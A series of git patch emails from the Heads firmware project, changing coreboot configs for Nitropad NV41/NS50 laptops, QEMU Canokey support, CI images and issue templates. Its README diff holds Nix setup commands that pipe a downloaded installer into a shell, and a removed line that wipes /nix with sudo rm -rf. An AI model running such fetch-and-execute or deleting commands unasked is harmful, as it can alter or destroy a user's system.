a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 3cea462c3..53cd03f79 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -521,6 +521,20 @@ CONFIG_INTEL_ME_DEFAULT_STATE=2 # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y CONFIG_BIOS_VENDOR="3mdeb" + +# +# =================================== Dasharo ==================================== +# + +# +# Dasharo Configuration +# +CONFIG_DASHARO_PREFER_S3_SLEEP=y +# end of Dasharo Configuration + +# +# ================================================================================ +# CONFIG_UDK_BASE=y CONFIG_UDK_202005_BINDING=y CONFIG_UDK_2013_VERSION=2013 @@ -692,7 +706,7 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set +# CONFIG_TPM1 is not set CONFIG_TPM2=y CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM2=y From eb2d8da9833bf77862a9da2444feb8a645315b0c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 5 May 2024 12:14:27 -0400 Subject: [PATCH 129/619] nv41/ns50 coreboot config: apply 4cf15f2586c55d7c2f2c5136f08e7670eebc5012 also to ns50. Note: SMMSTORE and top-down resource allocation diff between ns50/nv41 Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-ns50.config | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index 90759c4cb..6bbeaddd2 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -39,8 +39,7 @@ CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 -CONFIG_BOOTSPLASH_CONVERT_RESIZE=y -CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1920x1080" +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # CONFIG_FW_CONFIG is not set From 443955e0862528de8f584b1fe720e02d3ebb6a4e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 5 May 2024 12:16:23 -0400 Subject: [PATCH 130/619] nv41/ns50 board config: Add note referring that those boards FB are GOP enabled just like the librem_11 for reference Signed-off-by: Thierry Laurion --- boards/nitropad-ns50/nitropad-ns50.config | 1 + boards/nitropad-nv41/nitropad-nv41.config | 1 + 2 files changed, 2 insertions(+) diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 29428dc62..688122a44 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -1,4 +1,5 @@ # Nitrokey Nitropad NS51 board configuration +# Note: for reference, other GOP enabled FB board is librem_11 export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=nitrokey diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index b1e96dbc7..44234d1ee 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -1,4 +1,5 @@ # Nitrokey Nitropad NV41 board configuration +# Note: for reference, other GOP enabled FB board is librem_11 export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=nitrokey From f6f216c5b88b7911b2d852f4598afb1fcce7d6d4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 14 Feb 2024 16:57:05 +0100 Subject: [PATCH 131/619] Use single coreboot rev for MSI and NCM MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć Signed-off-by: Thierry Laurion --- boards/nitropad-ns50/nitropad-ns50.config | 2 +- boards/nitropad-nv41/nitropad-nv41.config | 2 +- modules/coreboot | 8 ++++---- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 688122a44..16490feb5 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -2,7 +2,7 @@ # Note: for reference, other GOP enabled FB board is librem_11 export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=nitrokey +export CONFIG_COREBOOT_VERSION=dasharo export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-nitropad-ns50.config diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index 44234d1ee..7ba4d5896 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -2,7 +2,7 @@ # Note: for reference, other GOP enabled FB board is librem_11 export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=nitrokey +export CONFIG_COREBOOT_VERSION=dasharo export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-nitropad-nv41.config diff --git a/modules/coreboot b/modules/coreboot index 5e965d484..3d058f65c 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -88,10 +88,10 @@ coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git coreboot-purism_commit_hash := 0d57cff58fba2f3a4d3a714a4eae65753e58c6ff $(eval $(call coreboot_module,purism,)) -#Nitrokey nv41/ns50 are based on Dasharo coreboot port -coreboot-nitrokey_repo := https://github.com/dasharo/coreboot -coreboot-nitrokey_commit_hash := a1787afa6b3bf4d3b201cfdbe2ef69623072afa5 -$(eval $(call coreboot_module,nitrokey,)) +# MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port +coreboot-dasharo_repo := https://github.com/dasharo/coreboot +coreboot-dasharo_commit_hash := 3a9aa3a4692f3dd49732f5b4e3ec54be385f0969 +$(eval $(call coreboot_module,dasharo,)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" From 81cc5263a0898c36777eb0572d7816096466f66b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 5 May 2024 13:48:11 -0400 Subject: [PATCH 132/619] nv41/ns50 coreboot configs: save configs with make BOARD=nitropad-n[v41|s50] coreboot.modify_and_save_oldconfig_in_place removes a comment: -# CONFIG_DASHARO_FIRMWARE_UPDATE_MODE is not set - Unify ns50/nv41 - CONFIG_TPM_PIRQ=0x27 in both nv41/ns50 as per https://github.com/linuxboot/heads/pull/1662#issuecomment-2100820944 NOTE that this doesn't stick when calling make[1]: Leaving directory '/home/user/heads/build/x86/coreboot-dasharo' user@heads-tests-deb12:~/heads$ git diff diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 9484aaf5122..ddd4e5d7c56 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -143,7 +143,7 @@ CONFIG_BOARD_CLEVO_NV40PZ_BASE=y CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Nitropad NV41" CONFIG_CONSOLE_POST=y # CONFIG_USE_PM_ACPI_TIMER is not set -CONFIG_TPM_PIRQ=0x27 +CONFIG_TPM_PIRQ=0x0 # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y Also note that CONFIG_EC_SYSTEM76_EC_DGPU=y is not present on ns50 as opposed to nv41, whatever that does. user@heads-tests-deb12:~/heads$ diff -u config/coreboot-nitropad-nv41.config config/coreboot-nitropad-ns50.config --- config/coreboot-nitropad-nv41.config 2024-05-10 14:59:42.156754718 -0400 +++ config/coreboot-nitropad-ns50.config 2024-05-10 14:55:37.699761391 -0400 @@ -110,7 +110,7 @@ # CONFIG_VENDOR_TI is not set # CONFIG_VENDOR_UP is not set CONFIG_MAINBOARD_FAMILY="Not Applicable" -CONFIG_MAINBOARD_PART_NUMBER="nv40pz" +CONFIG_MAINBOARD_PART_NUMBER="ns50pu" CONFIG_MAINBOARD_VERSION="v2.1" CONFIG_MAINBOARD_DIR="clevo/adl-p" CONFIG_DIMM_MAX=4 @@ -128,7 +128,7 @@ CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set CONFIG_VBOOT_VBNV_OFFSET=0x28 -CONFIG_VARIANT_DIR="nv40pz" +CONFIG_VARIANT_DIR="ns50pu" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Nitrokey" @@ -139,8 +139,8 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_BOARD_CLEVO_ADLP_COMMON=y -CONFIG_BOARD_CLEVO_NV40PZ_BASE=y -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Nitropad NV41" +CONFIG_BOARD_CLEVO_NS50PU_BASE=y +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Nitropad NS51" CONFIG_CONSOLE_POST=y # CONFIG_USE_PM_ACPI_TIMER is not set CONFIG_TPM_PIRQ=0x27 @@ -158,8 +158,8 @@ CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_DRIVERS_INTEL_WIFI=y -CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/descriptor.bin" -CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/me.bin" +CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/descriptor.bin" +CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_VBT_DATA_SIZE_KB=9 CONFIG_CARDBUS_PLUGIN_SUPPORT=y @@ -176,8 +176,8 @@ # # Alder Lake P (2022) # -# CONFIG_BOARD_NOVACUSTOM_NS5X_ADLP is not set -CONFIG_BOARD_NOVACUSTOM_NV4X_ADLP=y +CONFIG_BOARD_NOVACUSTOM_NS5X_ADLP=y +# CONFIG_BOARD_NOVACUSTOM_NV4X_ADLP is not set # # Tiger Lake U (2021) @@ -503,7 +503,6 @@ # CONFIG_EC_ACPI=y CONFIG_EC_SYSTEM76_EC=y -CONFIG_EC_SYSTEM76_EC_DGPU=y # # Intel Firmware Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-ns50.config | 14 ++++---------- config/coreboot-nitropad-nv41.config | 12 +++--------- 2 files changed, 7 insertions(+), 19 deletions(-) diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index 6bbeaddd2..9e5dc0ee4 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -214,7 +214,7 @@ CONFIG_ROM_SIZE=0x02000000 CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -#CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set # CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 # end of Mainboard @@ -522,7 +522,7 @@ CONFIG_UNLOCK_FLASH_REGIONS=y CONFIG_BIOS_VENDOR="3mdeb" # -# =================================== Dasharo ==================================== +# Dasharo # # @@ -531,9 +531,6 @@ CONFIG_BIOS_VENDOR="3mdeb" CONFIG_DASHARO_PREFER_S3_SLEEP=y # end of Dasharo Configuration -# -# ================================================================================ -# CONFIG_UDK_BASE=y CONFIG_UDK_202005_BINDING=y CONFIG_UDK_2013_VERSION=2013 @@ -605,7 +602,7 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set # end of Devices # @@ -616,13 +613,10 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y CONFIG_MRC_SETTINGS_PROTECT=y -CONFIG_SMMSTORE=y -# CONFIG_SMMSTORE_V2 is not set -CONFIG_SMMSTORE_SIZE=0x40000 +# CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 53cd03f79..9484aaf51 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -143,7 +143,7 @@ CONFIG_BOARD_CLEVO_NV40PZ_BASE=y CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Nitropad NV41" CONFIG_CONSOLE_POST=y # CONFIG_USE_PM_ACPI_TIMER is not set -CONFIG_TPM_PIRQ=0x0 +CONFIG_TPM_PIRQ=0x27 # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y @@ -523,7 +523,7 @@ CONFIG_UNLOCK_FLASH_REGIONS=y CONFIG_BIOS_VENDOR="3mdeb" # -# =================================== Dasharo ==================================== +# Dasharo # # @@ -532,9 +532,6 @@ CONFIG_BIOS_VENDOR="3mdeb" CONFIG_DASHARO_PREFER_S3_SLEEP=y # end of Dasharo Configuration -# -# ================================================================================ -# CONFIG_UDK_BASE=y CONFIG_UDK_202005_BINDING=y CONFIG_UDK_2013_VERSION=2013 @@ -617,13 +614,10 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y CONFIG_MRC_SETTINGS_PROTECT=y -CONFIG_SMMSTORE=y -# CONFIG_SMMSTORE_V2 is not set -CONFIG_SMMSTORE_SIZE=0x40000 +# CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set From ecbfdbc57b23ef0b884b394e1ad97491b8d2f8b6 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 10 May 2024 15:44:34 -0400 Subject: [PATCH 133/619] README.md Simplify Setup of Nix and flakes and docker image creation instructions Signed-off-by: Thierry Laurion --- README.md | 41 +++++++++++++---------------------------- 1 file changed, 13 insertions(+), 28 deletions(-) diff --git a/README.md b/README.md index 98fea8020..dbc082988 100644 --- a/README.md +++ b/README.md @@ -39,36 +39,21 @@ Under QubesOS? Build docker from nix develop layer locally ==== -If you do not use Nix on a daily basis: -``` -# DANGER: remove /nix store and recreates a fresh one. Skip if you use Nix already: -sudo rm -rf /nix/* || echo "cannot delete /nix" && sh <(curl -L https://nixos.org/nix/install) --no-daemon -# Configure nix for local builds for nix-commands and flakes usage under nix which are considered experimental features -mkdir -p ~/.config/nix -echo 'experimental-features = nix-command flakes' >~/.config/nix/nix.conf -# Source nix prior of anything else: -. /home/user/.nix-profile/etc/profile.d/nix.sh -``` +#### Set up Nix and flakes -If you use Nix on a daily basis: -``` -# Make sure your nix setup supports both nix-command and flakes experimental features: -mkdir -p ~/.config/nix -echo 'experimental-features = nix-command flakes' >> ~/.config/nix/nix.conf -# Review ~/.config/nix/nix.conf for inconsistencies in your favorite editor (vim, vi, gedit etc) -# Build nix developer local env with flakes locks to specified versions and exits just running "true" command: -nix --print-build-logs --verbose develop --ignore-environment --command true -# Build docker image with current develop created environment (this will take a while and create "linuxboot/heads:dev-env" local docker image: -nix build .#dockerImage && docker load < result -``` +* If you don't already have Nix, install it: + * `[ -d /nix ] || sh <(curl -L https://nixos.org/nix/install) --no-daemon` + * `. /home/user/.nix-profile/etc/profile.d/nix.sh` +* Enable flake support in nix + * `mkdir -p ~/.config/nix` + * `echo 'experimental-features = nix-command flakes' >>~/.config/nix/nix.conf` -Common steps to follow to build local doscker image from nix develop environment: -``` -# Build nix developer local env with flakes locks to specified versions and exits just running "true" command: -nix --print-build-logs --verbose develop --ignore-environment --command true -# Build docker image with current develop created environment (this will take a while and create "linuxboot/heads:dev-env" local docker image: -nix build .#dockerImage && docker load < result -``` +#### Build image + +* Build nix developer local environment with flakes locked to specified versions + * `nix --print-build-logs --verbose develop --ignore-environment --command true` +* Build docker image with current develop created environment (this will take a while and create "linuxboot/heads:dev-env" local docker image: + * `nix build .#dockerImage && docker load < result` Done! From c73692e4f3ec204ae2fe179d63017040e081fee2 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 12 May 2024 12:57:19 -0400 Subject: [PATCH 134/619] flake.nix + qemu.mk : add working qemu-canokey usable from all qemu boards by default flake.nix: add canokey-qemu lib, derivate qemu on tope of it and have qemu_kvm depend on qemu derivative targets/qemu.mk: modified to had canokey support by default if no "USB_TOKEN=" specified on make run call CircleCI: base docker image pull on v0.1.6 containing the newly added derivatives Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- flake.nix | 16 +++++++--------- targets/qemu.mk | 7 ++++++- 3 files changed, 17 insertions(+), 14 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 3fd260dcd..2ff6ed117 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.1.4 + - image: tlaurion/heads-dev-env:v0.1.6 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.1.4 + - image: tlaurion/heads-dev-env:v0.1.6 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.1.4 + - image: tlaurion/heads-dev-env:v0.1.6 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.1.4 + - image: tlaurion/heads-dev-env:v0.1.6 resource_class: large working_directory: ~/heads steps: diff --git a/flake.nix b/flake.nix index 94c947f63..87683c33c 100644 --- a/flake.nix +++ b/flake.nix @@ -69,23 +69,21 @@ zlib zlib.dev ] ++ [ - # Packages for qemu support with Canokey integration. + # Below are overrides to make canokey-qemu library available to qemu built derivative through a qemu override, which qemu is used for other derivatives + canokey-qemu # Canokey lib for qemu build-time compilation. + (qemu.override { + canokeySupport = true; # This override enables Canokey support in QEMU, resulting in -device canokey being available. + }) + # Packages for qemu support with Canokey integration from previous override #qemu_full #Heavier but contains qemu-img, kvm and everything else needed to do development cycles under docker qemu # To test make BOARD=qemu-coreboot-* boards and then call make BOARD=qemu-coreboot-* with inject_gpg statement, and then run statement. qemu_kvm # kvm additional support for qemu without all the qemu-img and everything else under qemu_full - # - # TODO: make work qemu-canokey not existing in caches: - # Below are overrides to make canokey-qemu library availabe to qemu built derivative through override) - #canokey doesn't work still even if compiled in, so no reason to add 1Gb of stuff in the image (qemu -device canokey not exposed even if configured in) - #canokey-qemu # Canokey lib for qemu build-time compilation. - #(qemu.override { - # canokeySupport = true; # This override enables Canokey support in QEMU, resulting in -device canokey being available. - #}) ] ++ [ # Additional tools for debugging/editing/testing. vim # Mostly used amongst us, sorry if you'd like something else, open issue. swtpm # QEMU requirement to emulate tpm1/tpm2. dosfstools # QEMU requirement to produce valid fs to store exported public key to be fused through inject_key on qemu (so qemu flashrom emulated SPI support). + #diffoscope #should we include it? Massive:11 GB uncompressed. Wow?!?! ] ++ [ # Tools for handling binary blobs in their compressed state. (blobs/xx30/vbios_[tw]530.sh) bundler diff --git a/targets/qemu.mk b/targets/qemu.mk index 051361229..23cdb7e24 100644 --- a/targets/qemu.mk +++ b/targets/qemu.mk @@ -26,6 +26,7 @@ endif #borrowed from https://github.com/orangecms/webboot/blob/boot-via-qemu/run-webboot.sh TPMDIR=$(build)/$(BOARD)/vtpm +CANOKEY_DIR=$(build)/$(BOARD) $(TPMDIR)/.manufacture: mkdir -p "$(TPMDIR)" $(SWTPM_PRESETUP) @@ -74,6 +75,10 @@ else ifeq "$(USB_TOKEN)" "LibremKey" QEMU_USB_TOKEN_DEV := -device usb-host,vendorid=12653,productid=19531 else ifneq "$(USB_TOKEN)" "" QEMU_USB_TOKEN_DEV := -device "usb-host,$(USB_TOKEN)" +# If no USB token is specified, support canokey by default +else +# official instruction -usb -device canokey,file=$HOME/.canokey-file -device canokey +QEMU_USB_TOKEN_DEV := -usb -device canokey,file=$(CANOKEY_DIR)/.canokey-file endif run: $(TPMDIR)/.manufacture $(ROOT_DISK_IMG) $(MEMORY_SIZE_FILE) $(USB_FD_IMG) @@ -106,4 +111,4 @@ run: $(TPMDIR)/.manufacture $(ROOT_DISK_IMG) $(MEMORY_SIZE_FILE) $(USB_FD_IMG) $(QEMU_USB_TOKEN_DEV) \ stty sane - @echo + @echo \ No newline at end of file From 41d55bf2fcf9337da5dac240050b54c3583584a7 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 13 May 2024 11:03:23 -0400 Subject: [PATCH 135/619] coreboot + patches/coreboot-dasharo-unreleased: Add b35dc4a4f25497acfbe159d6abd057d885661a02.patch for TPM IRQ Kconfig missing Signed-off-by: Thierry Laurion --- modules/coreboot | 1 + ...c4a4f25497acfbe159d6abd057d885661a02.patch | 27 +++++++++++++++++++ 2 files changed, 28 insertions(+) create mode 100644 patches/coreboot-dasharo-unreleased/b35dc4a4f25497acfbe159d6abd057d885661a02.patch diff --git a/modules/coreboot b/modules/coreboot index 3d058f65c..aaebdc14f 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -91,6 +91,7 @@ $(eval $(call coreboot_module,purism,)) # MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port coreboot-dasharo_repo := https://github.com/dasharo/coreboot coreboot-dasharo_commit_hash := 3a9aa3a4692f3dd49732f5b4e3ec54be385f0969 +coreboot-dasharo_patch_version := unreleased $(eval $(call coreboot_module,dasharo,)) # Check that the board configured the coreboot version correctly diff --git a/patches/coreboot-dasharo-unreleased/b35dc4a4f25497acfbe159d6abd057d885661a02.patch b/patches/coreboot-dasharo-unreleased/b35dc4a4f25497acfbe159d6abd057d885661a02.patch new file mode 100644 index 000000000..ce2c009b2 --- /dev/null +++ b/patches/coreboot-dasharo-unreleased/b35dc4a4f25497acfbe159d6abd057d885661a02.patch @@ -0,0 +1,27 @@ +From b35dc4a4f25497acfbe159d6abd057d885661a02 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= +Date: Mon, 13 May 2024 09:31:27 +0200 +Subject: [PATCH] src/mainboard/clevo/adl-p/Kconfig: Add missing TPM PIRQ for + NV41 +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Signed-off-by: Michał Żygowski +--- + src/mainboard/clevo/adl-p/Kconfig | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/mainboard/clevo/adl-p/Kconfig b/src/mainboard/clevo/adl-p/Kconfig +index c091584ac7d..462cb7135b3 100644 +--- a/src/mainboard/clevo/adl-p/Kconfig ++++ b/src/mainboard/clevo/adl-p/Kconfig +@@ -115,7 +115,7 @@ config FMDFILE + default "src/mainboard/\$(CONFIG_MAINBOARD_DIR)/vboot-rwa.fmd" if VBOOT && VBOOT_SLOTS_RW_A + + config TPM_PIRQ +- default 0x27 if BOARD_CLEVO_NS50PU_BASE # GPP_E1 ++ default 0x27 # GPP_E1 + + config SOC_INTEL_CSE_SEND_EOP_EARLY + default n From 1035a93e79866b5483c5a35c3697d08fee4f8970 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 13 May 2024 11:12:27 -0400 Subject: [PATCH 136/619] Build UNMAINTAINED_t530-maximized as requested under #1672 Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++++++ .../UNMAINTAINED_t530-maximized.config | 0 2 files changed, 8 insertions(+) rename {unmaintained_boards => boards}/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 2ff6ed117..72f81d2cc 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -373,6 +373,14 @@ workflows: requires: - x230-hotp-maximized + - build: + name: UNMAINTAINED_t530-maximized + target: UNMAINTAINED_t530-maximized + subcommand: "" + requires: + - x230-hotp-maximized + + - build: name: t440p-maximized target: t440p-maximized diff --git a/unmaintained_boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config b/boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config similarity index 100% rename from unmaintained_boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config rename to boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config From 03347ea6dc495786d67f296286f2b74c313dec67 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 13 May 2024 20:46:26 -0400 Subject: [PATCH 137/619] Update issue templates to reflect current realities of forks and security Dongles Being used out there Signed-off-by: Thierry Laurion --- ...port-for-everything-except-build-errors.md | 150 +++++++++--------- .../bug-report-for-heads-build-errors.md | 6 +- 2 files changed, 77 insertions(+), 79 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/bug-report-for-everything-except-build-errors.md b/.github/ISSUE_TEMPLATE/bug-report-for-everything-except-build-errors.md index b4cf1b072..f4abe2195 100644 --- a/.github/ISSUE_TEMPLATE/bug-report-for-everything-except-build-errors.md +++ b/.github/ISSUE_TEMPLATE/bug-report-for-everything-except-build-errors.md @@ -11,90 +11,92 @@ assignees: '' ### A. Provide Hardware Details -**1. What board are you using (see list of boards [here](https://github.com/eganonoa/heads/tree/master/boards))?** - -**2. Does your computer have a dGPU or is it iGPU-only?** -- [ ] dGPU -- [ ] iGPU-only - -**3. Who installed Heads on this computer?** -- [ ] Insurgo -- [ ] Nitrokey -- [ ] Purism -- [ ] Other provider -- [ ] Self-installed - -**4. What PGP key is being used?** -- [ ] Librem Key -- [ ] Nitrokey Pro 2 -- [ ] Nitrokey Storage -- [ ] Yubikey -- [ ] Other - -**5. Are you using the PGP key to provide HOTP verification?** -- [ ] Yes -- [ ] No -- [ ] I don't know +1. What board are you using? (Choose from the list of boards [here](https://github.com/eganonoa/heads/tree/master/boards)) + +2. Does your computer have a dGPU or is it iGPU-only? + - [ ] dGPU (Distinct GPU other then internal gPU) + - [ ] iGPU-only (Internal GPU, normally Intel GPU) + +3. Who installed Heads on this computer? + - [ ] Insurgo (Issues to be reported at https://github.com/linuxboot/heads/issues) + - [ ] Nitrokey (Issues to be reported at https://github.com/Nitrokey/heads/issues) + - [ ] Purism (Issues to be reported at https://source.puri.sm/firmware/pureboot/-/issues) + - [ ] Novacustom (Issues to be reported at https://github.com/Dasharo/dasharo-issues) + - [ ] HardnenedVault (Issues to be reported at https://github.com/hardenedvault/vaultboot/issues) + - [ ] Other provider + - [ ] Self-installed + +4. What PGP key is being used? + - [ ] Librem Key (Nitrokey Pro 2 rebranded) + - [ ] Nitrokey Pro + - [ ] Nitrokey Pro 2 + - [ ] Nitrokey 3 NFC + - [ ] Nitrokey 3 NFC Mini + - [ ] Nitrokey Storage + - [ ] Nitrokey Storage 2 + - [ ] Yubikey + - [ ] Other + +5. Are you using the PGP key to provide HOTP verification? + - [ ] Yes + - [ ] No + - [ ] I don't know ### B. Identify how the board was flashed -**1. Is this problem related to updating heads or flashing it for the first time?** -- [ ] First-time flash -- [ ] Updating heads +1. Is this problem related to updating heads or flashing it for the first time? + - [ ] First-time flash + - [ ] Updating heads -**2. If the problem is related to an update, how did you attempt to apply the update?** -- [ ] Using the Heads GUI -- [ ] Flashrom via the Recovery Shell -- [ ] External flashing +2. If the problem is related to an update, how did you attempt to apply the update? + - [ ] Using the Heads menus + - [ ] Flashrom via the Recovery Shell + - [ ] External flashing -**3. How was Heads initially flashed** -- [ ] External flashing -- [ ] Internal-only / 1vyrain -- [ ] Don't know +3. How was Heads initially flashed? + - [ ] External flashing + - [ ] Internal-only / 1vyprep+1vyrain / skulls + - [ ] Don't know -**4. Was the board flashed with a maximized or non-maximized/legacy rom?** -- [ ] Maximized -- [ ] Non-maximized / legacy -- [ ] I don't know +4. Was the board flashed with a maximized or non-maximized/legacy rom? + - [ ] 